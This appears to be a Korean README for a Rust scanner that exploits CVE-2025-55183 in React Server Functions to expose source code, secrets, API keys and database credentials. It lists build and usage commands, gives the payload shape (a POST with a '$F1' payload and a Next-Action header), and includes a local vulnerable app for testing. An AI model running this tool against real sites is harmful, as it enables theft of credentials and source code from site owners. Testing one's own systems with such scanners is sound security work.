saturate/cve-2025-55183CVE-2025-55183 비밀 채굴기
React Server Functions 소스 코드 노출 취약점 스캐너.
CVE-2025-55183: React 19.0.0-19.2.1의 Server Actions를 악용하여 전체 소스 코드(하드코딩된 비밀, API 키, 데이터베이스 자격 증명 포함)를 노출시킬 수 있습니다.
참조:
cd scanner
cargo build --release
# 단일 URL 스캔
scanner --url https://example.com
# 파일에서 여러 URL 스캔
scanner --file urls.txt
옵션:
--url, -u 대상 URL
--file, -f URL 파일 (한 줄에 하나씩)
--output, -o 출력 디렉터리 (기본값: scan-results)
--cookies, -c 인증 쿠키
--timeout, -t 요청 시간 초과(초) (기본값: 30)
--verbose, -v 상세 출력
--save-all, -a 모든 응답 저장
# 취약한 앱 실행
cd vulnerable-app
npm install
npm run dev
# 스캔
cd scanner
scanner --url http://localhost:4444 -v
["$F1"] 페이로드와 Next-Action 헤더로 POST 요청을 전송합니다.